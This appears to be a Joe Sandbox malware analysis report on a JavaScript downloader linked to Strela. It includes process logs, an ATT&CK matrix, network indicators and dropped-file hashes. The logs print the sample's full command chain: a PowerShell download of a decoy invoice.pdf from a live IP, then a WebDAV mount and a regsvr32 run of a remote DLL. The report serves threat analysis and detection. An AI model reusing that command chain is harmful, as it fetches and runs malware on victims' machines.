Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2906816133204732533.js	5%	Virustotal		Browse
2906816133204732533.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3355654590.000001B3F1A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2112250390.000001B3F17F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2109112356.0000025076AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2109112356.0000025076AC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109764033.0000025076B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2108588457.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2108485785.0000025076B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109424736.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 00000007.00000003.2108588457.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109424736.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588076
Start date and time:	2025-01-10 21:04:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2906816133204732533.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.149.20.212, 104.126.112.182, 20.242.39.171, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:05:15	API Interceptor	20x Sleep call for process: powershell.exe modified
15:05:18	API Interceptor	1x Sleep call for process: net.exe modified
15:05:18	API Interceptor	2x Sleep call for process: svchost.exe modified
15:05:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307191871427635
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugN:gJjJGtpTq2yv1AuNZRY3diu8iBVqFD
MD5:	B02B817E6010B9E764423FFA4F6A2938
SHA1:	B21893F6B8450CD32E68B2BA9AFE192BB4FF5F47
SHA-256:	732209BECCB7D4CF4E46664D5198A19D16D829E7B48A862DD8665419B7B0C8E1
SHA-512:	D4E2F7D651BF9B8617A4691657A2F4D13DA21C02037F97ACB0A44803779418132C09D873FC237D4851157E0C9D55E17925E28D0630413AA93FBA44C5B1E94846
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x341482cd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585740058920562
Encrypted:	false
SSDEEP:	1536:YruSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/T:Yruaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	5F7A8E28C6FDA84DA1269C87033FD5BB
SHA1:	09637F258154473DE7D12BA4640913E121875A3B
SHA-256:	1F02479579210F1BD5816777E9D742AD1C60692AD8AF5D813B6BF1639896AA68
SHA-512:	FA74D9FB7683EFAF1157D1155E087C03BB2FE4B0F4AD73910C71344F7236DCB8EC03A9EB96443917F95EB9E3D572AD43E52A2E70A5F22F78040A374B86670446
Malicious:	false
Preview:	4...... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................Y.......}c..................SE......}#..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0813589312284336
Encrypted:	false
SSDEEP:	3:MmUYeGPjP5tGuAJkhvekl19gjttollrekGltll/SPj:MdzK9trxlbgBGJe3l
MD5:	7A6B7991C9DD29831B772A863056A533
SHA1:	FE996D51ED21BBA5CBEBC056995EFE1CB1E7AB00
SHA-256:	F4D2615FA424D93FAD200AAB021A3B44D0ACDBABF31A3936A9764A1408DEE9C9
SHA-512:	32D0C7B8F237180A17D4672EC3B596CD75A4F42724F862FD4954615EF41778097A171A7328E7B5CCAB7E686D51240A278810AA73501B334A53043C108620B596
Malicious:	false
Preview:	Q.o_.....................................;...{.......}#......{...............{.......{...XL......{...................SE......}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.162646903864928
Encrypted:	false
SSDEEP:	6:iO4QYU0q2P92nKuAl9OmbnIFUtSQYRZmwsQYSTDkwO92nKuAl9OmbjLJ:7lCv4HAahFUtP4/x/H5LHAaSJ
MD5:	F70685E63A0D372722B4D442344FAE44
SHA1:	488844F301F12F5465711B273E5615D994FCBA85
SHA-256:	7A6376E8C1E045086A6F574C323DA6B73B42D5AB4DD896768AFA04FD17481CBC
SHA-512:	1E9F771EC6A7D9BC21CBC6B8B6C0C538CC77482FB2D77EE863FB09A4DC7563928F1E61F4ECA7036FA637A2D16B19EFE9D47B401CF45AC3259C07363A8CBE2BC9
Malicious:	false
Preview:	2025/01/10-15:05:18.891 9a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:05:18.896 9a0 Recovering log #3.2025/01/10-15:05:18.897 9a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.162646903864928
Encrypted:	false
SSDEEP:	6:iO4QYU0q2P92nKuAl9OmbnIFUtSQYRZmwsQYSTDkwO92nKuAl9OmbjLJ:7lCv4HAahFUtP4/x/H5LHAaSJ
MD5:	F70685E63A0D372722B4D442344FAE44
SHA1:	488844F301F12F5465711B273E5615D994FCBA85
SHA-256:	7A6376E8C1E045086A6F574C323DA6B73B42D5AB4DD896768AFA04FD17481CBC
SHA-512:	1E9F771EC6A7D9BC21CBC6B8B6C0C538CC77482FB2D77EE863FB09A4DC7563928F1E61F4ECA7036FA637A2D16B19EFE9D47B401CF45AC3259C07363A8CBE2BC9
Malicious:	false
Preview:	2025/01/10-15:05:18.891 9a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:05:18.896 9a0 Recovering log #3.2025/01/10-15:05:18.897 9a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.100260394824247
Encrypted:	false
SSDEEP:	6:iO4Qk34q2P92nKuAl9Ombzo2jMGIFUtSQ7dlJZmwsQ7dlDkwO92nKuAl9Ombzo23:7lkIv4HAa8uFUtPRf/xRN5LHAa8RJ
MD5:	C7B71231CC1C7905991F28963CC65293
SHA1:	7D6C477AAD166B7CE7BA5BD2D621C207579CEA8C
SHA-256:	AE2DC15DCF1DE491F25AA534C7A31F193BD92C246DDD20AFC83D80C0CFC693F4
SHA-512:	8E7562ACEA6ED9F3C75A58A7A363C236ACDB174495075F940C2E386AB8C90796F3A011B8A26E66E0588AE6FA0CD639A3EE6AD7DC7A256FA2B4229E22BBD118A0
Malicious:	false
Preview:	2025/01/10-15:05:18.913 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:05:18.914 1a00 Recovering log #3.2025/01/10-15:05:18.914 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.100260394824247
Encrypted:	false
SSDEEP:	6:iO4Qk34q2P92nKuAl9Ombzo2jMGIFUtSQ7dlJZmwsQ7dlDkwO92nKuAl9Ombzo23:7lkIv4HAa8uFUtPRf/xRN5LHAa8RJ
MD5:	C7B71231CC1C7905991F28963CC65293
SHA1:	7D6C477AAD166B7CE7BA5BD2D621C207579CEA8C
SHA-256:	AE2DC15DCF1DE491F25AA534C7A31F193BD92C246DDD20AFC83D80C0CFC693F4
SHA-512:	8E7562ACEA6ED9F3C75A58A7A363C236ACDB174495075F940C2E386AB8C90796F3A011B8A26E66E0588AE6FA0CD639A3EE6AD7DC7A256FA2B4229E22BBD118A0
Malicious:	false
Preview:	2025/01/10-15:05:18.913 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:05:18.914 1a00 Recovering log #3.2025/01/10-15:05:18.914 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\61617cf6-d329-4fbc-affb-08032d01654f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0560656368906125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEsBdOg2Hzxcaq3QYiubxnP7E4T3OF+:Y2sRdsQdMH83QYhbxP7nbI+
MD5:	2DC18B2FFDA9DB20042CC5CED428D409
SHA1:	BF604939FDE3519F9C1639736CA41FAE34E25888
SHA-256:	072699EA1E5A6AC553EE6DE8886A7F6D9F52B27A671DAF567093E61C0964FF04
SHA-512:	A2E74713B4C47F8CCF491E1B8EF397D3EB8004912E0619153C1F2A24A73D88CD90D9BB92223C8B683ECDB3AF5482525399DF9D4B45A5F0FC008E6A11D0E89881
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099531675423","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149258},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0560656368906125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEsBdOg2Hzxcaq3QYiubxnP7E4T3OF+:Y2sRdsQdMH83QYhbxP7nbI+
MD5:	2DC18B2FFDA9DB20042CC5CED428D409
SHA1:	BF604939FDE3519F9C1639736CA41FAE34E25888
SHA-256:	072699EA1E5A6AC553EE6DE8886A7F6D9F52B27A671DAF567093E61C0964FF04
SHA-512:	A2E74713B4C47F8CCF491E1B8EF397D3EB8004912E0619153C1F2A24A73D88CD90D9BB92223C8B683ECDB3AF5482525399DF9D4B45A5F0FC008E6A11D0E89881
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099531675423","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149258},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234861286411777
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUYEdwY/0:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLv
MD5:	10FAA3185CC44DE027FF6671F9A7AE97
SHA1:	E8D2C246860E27AF70BEB9BF9697A8F799D55950
SHA-256:	D1BBB381EA504B0197C9EB3BDCC125DBBA961DD9AC58BF9C6495EAB85271E930
SHA-512:	70D4E0DC3B2B3D8FE97CE82D79712015BC055F59C863E63449D3C2E0490B5612F5391C225706638BEF14D61ED3CDCBD2D550E1610F2326DB8F523964123D3793
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.122505880870824
Encrypted:	false
SSDEEP:	6:iO4QCfKv34q2P92nKuAl9OmbzNMxIFUtSQCftvJZmwsQCq/DkwO92nKuAl9OmbzE:7lpIv4HAa8jFUtPi/xXr5LHAa84J
MD5:	E39009E16EA409D0EF9C6252D1452778
SHA1:	FCE3E8DD6A5B9C41DA4FCADD4A6EDCF528CE136C
SHA-256:	38FF375E880E3BDE93C65B5FEACB5C102D148F8B2BE24794BEA7EA53C5F295AE
SHA-512:	342B060D6A8E7DE8ADFBF23CDD09721C1D5FE542E49DA0DB1AF7F80E7CFE43DF31BA09F684D313DE165B84015B91A5D422830778AE53917B1B31B8A659C0748F
Malicious:	false
Preview:	2025/01/10-15:05:19.881 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:05:19.886 1a00 Recovering log #3.2025/01/10-15:05:19.894 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.122505880870824
Encrypted:	false
SSDEEP:	6:iO4QCfKv34q2P92nKuAl9OmbzNMxIFUtSQCftvJZmwsQCq/DkwO92nKuAl9OmbzE:7lpIv4HAa8jFUtPi/xXr5LHAa84J
MD5:	E39009E16EA409D0EF9C6252D1452778
SHA1:	FCE3E8DD6A5B9C41DA4FCADD4A6EDCF528CE136C
SHA-256:	38FF375E880E3BDE93C65B5FEACB5C102D148F8B2BE24794BEA7EA53C5F295AE
SHA-512:	342B060D6A8E7DE8ADFBF23CDD09721C1D5FE542E49DA0DB1AF7F80E7CFE43DF31BA09F684D313DE165B84015B91A5D422830778AE53917B1B31B8A659C0748F
Malicious:	false
Preview:	2025/01/10-15:05:19.881 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:05:19.886 1a00 Recovering log #3.2025/01/10-15:05:19.894 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

